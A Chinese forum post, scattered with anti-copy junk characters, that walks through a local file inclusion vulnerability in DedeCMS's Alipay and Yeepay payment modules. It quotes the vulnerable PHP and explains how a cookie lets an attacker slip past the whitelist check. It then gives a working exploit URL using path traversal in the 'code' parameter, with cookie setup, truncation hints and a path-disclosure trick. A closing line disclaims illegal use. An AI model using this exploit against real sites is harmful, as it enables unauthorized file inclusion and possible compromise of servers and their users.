晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)9 y4 W* e) c9 J/ }6 _; t8 K& J
5 y1 x) N5 u9 b8 g) F) |7 M# F/ M
出现漏洞的两个文件为:: c7 ~* e* w' I- z9 ~& V
Include/payment/alipay.php- O9 [7 X" n1 I
Include/payment/yeepay.php
5 g. K) C; }& Y漏洞均出现在respond方法里,估计这两个文件是临时工写的。; K/ d; _+ ?# \; y% [: s& {5 ^4 \
2 j6 P% ]/ y( F# Y& F' d/ ?, ?- e
Include/payment/alipay.php
% L( w( [2 \* ^! {: x8 r& K
6 [) i' d8 Z: p4 M6 F' X) k2 x......
4 e( Z" B+ ^; e9 V function respond()
! R! g+ }' m" F8 n0 ` {
* w6 i4 V1 T! _- R0 e6 f1 i if (!empty($_POST))
8 Q0 j0 e6 v& p2 ^9 K! P {. y5 ~& G' ^/ G' I: @" s
foreach($_POST as $key => $data)
; r- S: y5 q7 [% E% t% |. B% C {& s1 h* y& w9 c
$_GET[$key] = $data;, h! B7 b0 ?$ _+ @+ M
}: o6 k/ r [: f4 r1 h+ Q: @6 z
}
8 X" g0 @/ z0 I* E$ H /* 引入配置文件 */1 ?. ~( W' V! o
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';0 L* I5 x. y! f! P* G
......
- ~5 _" u* X7 j7 T* Y
( a9 y5 }. w, j% V. Z) p' [* k/ Q' N, W/ k9 @
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
- S- h, Q$ K: Z! v* d0 s
* Y7 r) [' A) V3 Q+ k' w3 q4 eInclude/payment/yeepay.php. U l6 F+ V0 Q! @ a# g4 W. Q1 [
/ Q9 d: r9 R6 y# r& x; K8 u
' }6 T: q9 R# Y$ F
# F$ ?3 J' H- c, ]9 V......1 b% r3 f3 m7 l8 Z
function respond()9 l1 l$ i. }1 G' V4 N
{
z; \3 e* ^! `. B
9 g/ C: b& G" l$ f* C: } /* 引入配置文件 */
# v$ d3 Z; T4 d require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
0 F+ G# e C0 c) H/ ?7 D ( G! l6 A5 X: L2 G
$p1_MerId = trim($payment['yp_account']);! U. A: w0 I, h: n
$merchantKey = trim($payment['yp_key']);
9 t3 e! @" E' Z; f( Y0 P......
1 e* C: _* X1 c" ^- H# { $ y8 i1 _" c/ p( X) }7 D0 V' n2 Q
, z o% E) O6 n$ T: d/ P2 v' d
3 D2 S/ i3 T: ]0 Q* K
( U& b5 A, {( z9 f9 B; B9 u0 n大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。* k, v) Y; o/ ~" A) J: u% f$ \- U: ?8 ]
$ |* p& i2 K7 Z8 O8 e. a
这两个方法在plus/carbuyaction.php文件调用。
& a3 \+ N9 v. F( q3 l+ a$ _$ |4 X( H, T! R! d
plus/carbuyaction.php' d' C" G' m! l8 l7 d1 |9 E
0 r8 Y) ^5 F9 ?4 d( b......
, O$ j9 o8 T+ d3 f2 w- R' _} else if ($dopost == 'return') {
a, `( w8 f( }& f0 m $write_list = array('alipay', 'bank', 'cod', 'yeepay');. M% b1 Z0 [6 b ] n
if (in_array($code, $write_list))
8 \$ F$ }: y0 E7 g. R# m {
. q V+ ]2 w2 z require_once DEDEINC.'/payment/'.$code.'.php';
! E1 B/ U) V9 \- @( [) e, P. _( I $pay = new $code;" n4 l9 H: ~% I+ ~+ C
$msg=$pay->respond();
7 l( t5 x+ {# o0 @+ p4 G5 Z7 B ShowMsg($msg, "javascript:;", 0, 3000);( f" o5 l/ X8 Z g
exit();
/ a: c6 ^, _6 p } else {0 ~$ F, m1 ~; P7 T) P
exit('Error:File Type Can\'t Recognized!');
8 g9 J% D& v6 `, b2 X/ \8 |( e }
3 D6 p- I! P+ e+ ~1 O$ D}
9 g" X+ @2 N5 c: R...... 8 ~' G! j% S- V0 g2 Z
4 ~6 q$ A& a2 ^$ t$ J7 ^
3 v+ S5 u/ [) W2 t1 s7 a2 _+ r
% [: J+ W' R v, s: s
% p$ X0 ]- r% ?* M* c. a$ ~+ C: T
1 J8 U$ n1 e7 r; n+ s2 M. m9 f: `9 P9 m
7 E# u- ?# R6 b3 i) g大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
' e0 g' K0 W' s. `5 h7 B \所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
# E3 W, Q5 V" b5 s) n* w% `2 E
6 S6 t f1 a* E# K( O回到include/common.inc.php来看看他的机制。
' h2 U" O. \2 W* p Q- S z& R
$ B" r8 u% c4 _& H 8 x% j( I, w! N. u3 Z
/ k- F/ I9 P7 c9 o5 t5 s6 \& @...... Y0 R @; \( V: n. p0 q0 k
foreach(Array('_GET','_POST','_COOKIE') as $_request)
& G9 y. f0 M$ ^' n' m8 Z{
7 @: w2 t1 n, U. p8 n* G foreach($$_request as $_k => $_v) ; S, W* E( {* w5 D' _
{
% \2 N- ^/ ~$ l: B: N3 s if($_k == 'nvarname') ${$_k} = $_v;
# _3 G$ D( R' u& S C; |% S% v, C; K6 ]6 I else ${$_k} = _RunMagicQuotes($_v);
Y8 D' l" J6 Z1 D3 R% {: e( f } e1 H: s' |6 s" |1 N$ j3 P
}4 R' ]0 f6 o9 b5 f$ n$ L
...... 5 g2 J p* z O/ w
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:; S# b; p" I+ e( V
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |